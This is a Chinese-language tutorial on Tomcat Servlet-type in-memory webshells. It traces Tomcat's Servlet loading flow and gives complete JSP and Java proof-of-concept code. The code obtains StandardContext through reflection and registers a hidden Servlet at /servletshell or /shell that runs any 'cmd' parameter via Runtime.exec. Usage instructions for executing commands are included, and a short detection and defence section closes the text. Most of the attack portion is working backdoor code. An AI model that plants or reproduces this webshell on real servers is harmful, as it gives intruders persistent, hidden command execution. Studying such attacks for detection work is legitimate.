Tomcat Servlet 型内存马流程理解与手写 EXP
字数 1814 2025-08-12 11:34:27
Tomcat Servlet 型内存马分析与实现
0x01 Servlet 基础概念
Servlet 是 Java Web 开发中的核心组件,它作为客户端请求和服务器响应之间的中间层。Servlet 的生命周期包括以下方法:
public interface Servlet {
void init(ServletConfig var1) throws ServletException; // 初始化方法,仅调用一次
ServletConfig getServletConfig(); // 返回Servlet配置对象
void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; // 处理请求的核心方法
String getServletInfo(); // 返回servlet信息
void destroy(); // 销毁方法,仅调用一次
}
对于内存马开发,我们主要关注 service() 方法,因为它是每次请求都会调用的核心处理方法。
0x02 恶意Servlet示例
基础恶意Servlet实现:
package tomcatShell.Servlet;
import javax.servlet.*;
import java.io.IOException;
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public ServletConfig getServletConfig() { return null; }
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() { return null; }
@Override
public void destroy() {}
}
0x03 Servlet 工作流程分析
请求处理流程
-
HTTP请求接收:
- 由
HTTP11Processor处理原始HTTP请求 - 通过
CoyoteAdapter适配器转换为内部表示
- 由
-
请求处理链:
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);- 获取Service → 获取Container(Engine) → 获取Pipeline → 调用第一个Valve
-
StandardEngineValve处理:
- 进行host相关判断
- 类似Filter的多个invoke调用
Servlet加载流程
-
读取web.xml:
- 通过
ContextConfig#webConfig()读取配置 - 在
configureContext(webXml)中处理Servlet配置
- 通过
-
创建StandardWrapper:
createWrapper()创建StandardWrapper对象- 将web.xml中的Servlet配置装载到Wrapper中
-
添加到Context:
- 通过
addChild()将Wrapper添加到StandardContext中 - 调用链:
StandardContext.addChild()→ContainerBase.addChild()→addChildInternal()
- 通过
-
Servlet初始化:
child.start()启动Servlet线程- 经过
LifecycleBase.start()→StandardContext#startInternal fireLifecycleEvent()触发配置加载
-
Servlet映射:
addServletMappingDecoded()添加URL路径映射
关键点总结
-
StandardWrapper:
- 一个Wrapper对应一个Servlet
- 负责管理Servlet的生命周期
-
StandardContext:
- 一个Context对应一个Web应用
- 可以包含多个Wrapper
-
loadOnStartup属性:
- 控制Servlet是否在容器启动时加载
- 正数值越小优先级越高
- 负数或未指定表示懒加载
0x04 Servlet内存马实现
攻击思路
- 获取StandardContext对象
- 编写恶意Servlet类
- 通过StandardContext.createWrapper()创建Wrapper
- 配置Wrapper属性:
- loadOnStartup
- ServletName
- ServletClass
- 将Wrapper添加到Context的children中
- 添加URL路径映射
JSP版本POC
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 获取StandardContext对象
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
// 定义恶意Servlet类
public class Shell_Servlet implements Servlet {
@Override public void init(ServletConfig config) throws ServletException {}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) { e.printStackTrace(); }
}
}
@Override public String getServletInfo() { return null; }
@Override public void destroy() {}
}
// 创建并配置Wrapper
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
// 添加到Context并设置映射
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletshell", name);
%>
Java版本POC
package tomcatShell.Servlet;
import org.apache.catalina.Wrapper;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
public class ServletShell implements Servlet {
@Override public void init(ServletConfig servletConfig) throws ServletException {}
@Override public ServletConfig getServletConfig() { return null; }
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse)
throws ServletException, IOException {
// 获取StandardContext
Field reqF = servletRequest.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(servletRequest);
StandardContext standardContext = (StandardContext) req.getContext();
// 创建并配置Wrapper
ServletShell servletShell = new ServletShell();
String name = servletShell.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(servletShell);
wrapper.setServletClass(servletShell.getClass().getName());
// 添加到Context并设置映射
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", name);
// 命令执行功能
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) { e.printStackTrace(); }
}
}
@Override public String getServletInfo() { return null; }
@Override public void destroy() {}
}
0x05 使用说明
-
JSP版本:
- 访问Servlet.jsp完成内存马注册
- 访问/servletshell?cmd=命令 执行命令
-
Java版本:
- 需要配置web.xml添加Servlet调用
- 访问映射路径/shell?cmd=命令 执行命令
0x06 防御与检测
-
Servlet内存马特点:
- 必须访问特定路径才能触发
- 相比Filter/Listener更容易被发现
- 无法拦截所有请求
-
检测方法:
- 检查Context中的children列表
- 监控非标准路径的Servlet映射
- 检查loadOnStartup异常的Servlet
-
防御建议:
- 限制动态Servlet注册
- 监控StandardContext修改操作
- 定期检查Servlet映射表
0x07 总结
Servlet型内存马相比Filter和Listener型有以下特点:
- 实现相对复杂,需要处理Wrapper和Context
- 必须访问特定路径才能触发
- 更容易被传统防护手段检测到
- 适合作为持久化后门而非请求拦截
理解Servlet在Tomcat中的完整生命周期是开发此类内存马的关键,特别是Wrapper的创建和Context的管理机制。